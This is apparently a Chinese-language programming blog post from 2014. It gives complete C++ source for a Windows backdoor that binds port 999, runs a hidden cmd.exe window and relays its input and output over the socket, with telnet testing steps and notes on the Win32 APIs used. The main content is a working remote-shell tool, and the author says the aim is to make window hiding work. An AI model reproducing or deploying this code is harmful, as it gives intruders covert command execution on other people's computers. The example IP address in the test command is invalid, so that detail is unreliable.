【2014/10/19 23:57 】
:通过端口远程控制主机。运行程序之后,程序自动开放本机的999端口,其他电脑便可以通过999端口对本机操作。
程序中使用的到的命令:
telnet测试端口命令: telnet IP 端口 或者 telnet 域名 端口(若telnet不是内部命令,使用打开或关闭windows功能,启动Telnet服务)
netstat 测试开放的端口号
使用ipconfig控制网络连接的一个命令行工具。它的主要功用,包括用来显示现时网络连接的设置(/all参数),或通过/release参数来释放取得的ip位置和 通过 /renew 来重新获取ip位置的分配。
使用net user 获取电脑的账户信息
管道是一种简单的进程间通讯(IPC)机制,实际上是一段共享内存。一个进程在向管道写入数据之后,另一个进程就可以从管道的另一端读取数据。没有解决程序窗口隐藏的问题。
// Mini.cpp : 定义控制台应用程序的入口点。 #include "stdafx.h" #pragma comment(lib,"ws2_32.lib") #include <winsock2.h> #include <windows.h> //#pragma comment(linker, "/subsystem:\"windows\" /entry:\"mainCRTStartup\"" ) #define MAX_SER 10 #define HOST_PATH 256 #define HOSTNAME_SIZE HOST_PATH #define MasterPort 999 //定义监听的端口 char hostName[MAX_PATH]={0}; unsigned short maxService; unsigned short port; void Service(LPVOID lpv); int LoopControl(SOCKET llistenfd,int isMultiTasking); void initial(); int initSockets(void); //初始化Windows Socket int main(int argc, char * argv[]) { SOCKET listenFd,acceptfd; struct sockaddr_in serverAddr,clientAddr; char buffer[1024]; int nSize=sizeof(sockaddr_in); int err; PROCESS_INFORMATION ProcessInfo; STARTUPINFO StartupInfo; char szCMDPath[255]; initial(); initSockets(); //分配内存资源 ZeroMemory(&ProcessInfo, sizeof(PROCESS_INFORMATION)); ZeroMemory(&StartupInfo, sizeof(STARTUPINFO)); GetEnvironmentVariable("COMSPEC",szCMDPath,sizeof(szCMDPath)); //GetStartupInfo(&StartupInfo); //创建socket //listenFd=socket(PF_INET,SOCK_STREAM,0); listenFd=WSASocket(AF_INET,SOCK_STREAM,IPPROTO_TCP,NULL,0,0); if(listenFd==INVALID_SOCKET){ printf("error:out of socket resource \n"); return 1; } //bind本机的端口 serverAddr.sin_family=AF_INET; //协议类型是INET serverAddr.sin_addr.S_un.S_addr=htonl(INADDR_ANY); //本机IP serverAddr.sin_port=htons(MasterPort); //绑定端口为9990 err=bind(listenFd,(const struct sockaddr *)&serverAddr,sizeof(serverAddr)); if(err==INVALID_SOCKET){ printf("error: unable to bind socket \n"); return 1; } //listen 监听端口 err=listen(listenFd,1); if(err==INVALID_SOCKET){ printf("error: listen socket failed \n"); return 1; } printf("listen......"); acceptfd=accept(listenFd,(struct sockaddr *)&clientAddr,&nSize); //接收客户连接的准备 /* * nLength : The size, in bytes, of this structure. * lpSecurityDescriptor : A pointer to a SECURITY_DESCRIPTOR structure that controls access to the object,If the value of this member is NULL, * the object is assigned the default security descriptor associated with the access token of the calling process. * bInheritHandle : A Boolean value that specifies whether the returned handle is inherited when a new process is created. */ SECURITY_ATTRIBUTES sa; sa.nLength=12; sa.lpSecurityDescriptor=0; sa.bInheritHandle=true; HANDLE hReadPipe1; HANDLE hWritePipe1; HANDLE hReadPipe2; HANDLE hWritePipe2; /* * Creates an anonymous pipe, and returns handles to the read and write ends of the pipe. * hReadPipe [out] : A pointer to a variable that receives the read handle for the pipe. * hWritePipe [out] : A pointer to a variable that receives the write handle for the pipe. * lpPipeAttributes [in, optional] : If lpPipeAttributes is NULL, the handle cannot be inherited. * nSize [in] : The size of the buffer for the pipe, in bytes. The size is only a suggestion; * the system uses the value to calculate an appropriate buffering mechanism. If this parameter is zero, the system uses the default buffer size. */ err=CreatePipe(&hReadPipe1,&hWritePipe1,&sa,0); err=CreatePipe(&hReadPipe2,&hWritePipe2,&sa,0); //配置隐藏窗口结构体 StartupInfo.cb=sizeof(STARTUPINFO); StartupInfo.wShowWindow=SW_HIDE; StartupInfo.dwFlags=STARTF_USESTDHANDLES|STARTF_USESHOWWINDOW; StartupInfo.hStdInput=hReadPipe2; StartupInfo.hStdOutput=hWritePipe1; StartupInfo.hStdError=hWritePipe1; //创建匿名管道 BOOL ret=CreateProcess(NULL,szCMDPath,NULL,NULL,TRUE,0,NULL,NULL,&StartupInfo,&ProcessInfo); if(ret){ printf("%d",GetLastError()); } unsigned long lBytesRead; while(1){ /* * Copies data from a named or anonymous pipe into a buffer without removing it from the pipe. It also returns information about data in the pipe. * hNamedPipe [in] : A handle to the pipe. This parameter can be a handle to a named pipe instance * lpBuffer [out, optional] : A pointer to a buffer that receives data read from the pipe. This parameter can be NULL if no data is to be read. * nBufferSize [in] : The size of the buffer specified by the lpBuffer parameter, in bytes. This parameter is ignored if lpBuffer is NULL. * lpBytesRead [out, optional] : A pointer to a variable that receives the number of bytes read from the pipe. This parameter can be NULL if no data is to be read. * lpTotalBytesAvail [out, optional] : pointer to a variable that receives the total number of bytes available to be read from the pipe. * lpBytesLeftThisMessage [out, optional] : A pointer to a variable that receives the number of bytes remaining in this message */ err=PeekNamedPipe(hReadPipe1,buffer,1024,&lBytesRead,0,0); if(lBytesRead){ /* * Reads data from the specified file or input/output (I/O) device * hFile [in] : A handle to the device * lpBuffer [out] : A pointer to the buffer that receives the data read from a file or device. * nNumberOfBytesToRead [in] : The maximum number of bytes to be read. * lpNumberOfBytesRead [out, optional] : A pointer to the variable that receives the number of bytes read when using a synchronous hFile parameter * lpOverlapped [in, out, optional] : */ ret=ReadFile(hReadPipe1,buffer,lBytesRead,&lBytesRead,0); if(!ret){ break; } ret=send(acceptfd,buffer,lBytesRead,0); if(ret<=0) break; } else{ lBytesRead=recv(acceptfd,buffer,1024,0); if(lBytesRead<=0){ break; } /* * If the function succeeds, the return value is nonzero (TRUE). */ ret=WriteFile(hWritePipe2,buffer,lBytesRead,&lBytesRead,0); if(!ret) break; } } //WaitForSingleObject(ProcessInfo.hProcess,INFINITE); CloseHandle(ProcessInfo.hProcess); CloseHandle(ProcessInfo.hThread); printf("server is down \n"); //关闭进程句柄 closesocket(listenFd); closesocket(acceptfd); WSACleanup(); return 0; } void initial() { maxService=3; port=5054; } /* * Winsock服务初始化 */ int initSockets(void) { WSADATA wsaData; WORD sockVersion; //typedef unsigned short WORD(16) int err; sockVersion=MAKEWORD(2,2); err=WSAStartup(sockVersion,&wsaData); if(err!=0) { printf("error %d :winsock not avaliable\n",err); } printf("environemnt invaild success.....\n"); return 0; }
在虚拟机中运行本程序。在电脑的cmd中输入
telnet 192.268.1.42 999
建立了连接:
建立的连接目录为 E:\Release.我们需要切换到C盘
通过命令操作电脑:
关闭cmd窗口:
附1:
已通知状态(受信状态) 未通知状态(非受信状态)
进程内核对象
当进程正在运行时,进程内核对象处于未通知状态。当进程停止运行时,就处于已通知状态。可以通过等待进程来检查进程是否仍然运行。
无成功等待的副作用。
线程内核对象
当线程正在运行时,线程内核对象处于未通知状态。当线程停止运行时,就处于已通知状态。可以通过等待线程来检查线程是否仍然运行。
无成功等待的副作用。
附2:
等待函数可使线程自愿进入等待状态,直到一个特定的内核对象变为已通知状态为止。这些等待函数中最常用的是WaitForSingleObject:
DWORD WaitForSingleObject(HANDLE hObject, DWORD dwMilliseconds);
调用下面这个函数将告诉系统,调用函数准备等待到hProcess句柄标识的进程终止运行为止:【真不懂说了什么】
WaitForSingleObject(hProcess, INFINITE);
附3:
listen函数使用主动连接套接口变为被连接套接口,使得一个进程可以接受其它进程的请求,从而成为一个服务器进程。在TCP服务器编程中listen函数把进程变为一个服务器,并指定相应的套接字变为被动连接。
listen函数在一般在调用bind之后-调用accept之前调用,它的函数原型是:
#include<sys/socket.h>int listen(int sockfd, int backlog)
返回:0──成功,-1──失败
被listen函数作用的套接字,sockfd之前由socket函数返回。在被socket函数返回的套接字sockfd之时,它是一个主动连接的套接字,也就是此时系统假设用户会对这个套接字调用connect函数,期待它主动与其它进程连接,然后在服务器编程中,用户希望这个套接字可以接受外来的连接请求,也就是被动等待用户来连接。由于系统默认时认为一个套接字是主动连接的,所以需要通过某种方式来告诉系统,用户进程通过系统调用listen来完成这件事。
参数backlog
当调用listen之后,服务器进程就可以调用accept来接受一个外来的请求。关于accept更的信息,请接着关注本系统文章。